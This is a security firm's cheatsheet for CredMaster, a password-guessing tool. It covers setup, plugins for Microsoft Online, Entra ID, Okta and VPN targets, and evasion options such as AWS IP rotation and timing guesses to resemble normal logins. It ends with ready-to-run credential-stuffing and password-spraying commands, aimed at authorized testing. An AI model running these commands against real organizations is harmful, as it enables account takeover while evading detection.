CredMaster Cheatsheet – Black Hills Information Security, Inc.

Collaborated on by: Adam Rose & Martin Pearson || Reviewed by: Alyssa Snow

This blog is part of Offensive Tooling Cheatsheets: An Infosec Survival Guide Resource. You can learn more and find all of the cheatsheets HERE: https://www.blackhillsinfosec.com/offensive-tooling-cheatsheets/

CredMaster Cheatsheet: PRINT-FRIENDLY PDF

Find the tool here: https://github.com/knavesec/CredMaster

---

CredMaster is a tool that facilitates password guessing attacks against common targets. It is designed with evasion and anti-detection capabilities and uses AWS APIs to rotate IP addresses for each guess.

Prerequisites

1. CredMaster requires an AWS subscription. Create an account and create an AWS access key and secret access key (this requires a credit card and can cost money).
2. For security and ease-of-use, export the keys as environment variables so you don’t have to copy and paste multiple times:

export AWS_KEY= && export AWS_SECRET_KEY=

3. Now you can reference those keys as environment variables by prepending a dollar sign ($) to the variables’ names:

echo $AWS_KEY

Installation

1. Ensure Python 3 is installed:

python3 --version

2. Clone the repository:

git clone https://github.com/knavesec/CredMaster.git

3. Set up and activate a Python virtual environment and install dependencies:

cd CredMaster/ && python3 -m venv credmaster-env &&  source ./credmaster-env/bin/activate &&  pip install -r requirements.txt

Plugins

CredMaster supports password guessing attacks against a variety of different authentication providers and targets via plugins. This is a brief overview of some of the plugins we commonly use on engagements:

Plugin Name	Description
o365enum	Enumerates valid O365/Microsoft Online users from a list of potential emails/usernames. Does not make an authentication attempt.
msgraph	Authenticates to Microsoft Online instances via the Graph API. Can sometimes be used as an Entra ID conditional access bypass.
azuresso	Authenticates to Entra ID (Microsoft Azure Active Directory). Requires the tenant domain to be passed in with --domain.
msol	Authenticates to Microsoft Online and managed O365 instances. Basically, this is the same thing as using login.microsoftonline.com.
okta	Authenticates to a target organization’s Okta login portal. Requires the --url flag.
gmailenum	Enumerates valid GSuite users from a list of potential emails/usernames. Does not make an authentication attempt.
fortinetvpn	Authenticates to Fortinet VPN instances. Requires the --url flag to specify the targeted login portal.

Tradecraft

No two organizations are the same, and different targets require different operational considerations. CredMaster has a lot of customization capabilities to allow for the unique goals of each engagement. Here’s a few of the most helpful command-line options we regularly use on engagements:

Flag	Description
-t, --threads	Sets the number of simultaneous requests. CredMaster will spin up an AWS API Gateway in a different region for each thread.
-d, --delay	Sets the delay (in minutes) between password guessing waves (unique passwords). Setting this option is CRITICAL to avoid locking out legitimate users.
--passwordsperdelay	Sets the number of authentication attempts per user in each delay cycle. Setting this option is CRITICAL to avoid locking out legitimate users.
--region	Sets the AWS region where the API Gateways will be created. Setting this to a region where a target organization’s users are located can sometimes help avoid detection.
-j, --jitter	Sets the maximum number of seconds to delay between password guesses per thread.
-m, --jitter_min	Sets the minimum delay in seconds, per thread.
--weekday_warrior	Limits password guessing waves to 7 a.m., 11 a.m., and 3 p.m. by passing in a target organization’s local UTC time zone offset. This can help password guesses blend in with legitimate user logins.
--clean	Destroys any AWS APIs. Important to run after an engagement to avoid expensive AWS bills.

Example Commands and Basic Usage

Basic command syntax	python3 credmaster.py --plugin {{pluginname}} --access_key $AWS_KEY --secret_access_key $AWS_SECRET_KEY -u userfile -p passwordfile -a ./useragents.tx
O365 User Enumeration	python3 credmaster.py --plugin o365enum --access_key $AWS_KEY --secret_access_key $AWS_SECRET_KEY -u userfile -a ./useragents.txt
Microsoft Online Credential Stuffing Attack (with jitter)	python3 credmaster.py --plugin msol --access_key $AWS_KEY --secret_access_key $AWS_SECRET_KEY -f {{user:password file}} -a ./useragents.txt -j 30 -m 5
Microsoft Online Password Spraying Attack (with jitter, 90 minutes between waves)	python3 credmaster.py --plugin msol --access_key $AWS_KEY --secret_access_key $AWS_SECRET_KEY -u {{username file}} -p {{password file}} -a ./useragents.txt -j 30 -m 5 --passwordsperdelay 1 -d 90
Entra ID/Azure SSO Password Spray (with jitter, 90 minutes between waves)	python3 credmaster.py --plugin azuresso --access_key $AWS_KEY --secret_access_key $AWS_SECRET_KEY --domain {{target's tenant domain}} -u {{username file}} -p {{password file}} -a ./useragents.txt -j 30 -m 5 --passwordsperdelay 1 -d 90

---

---

---

---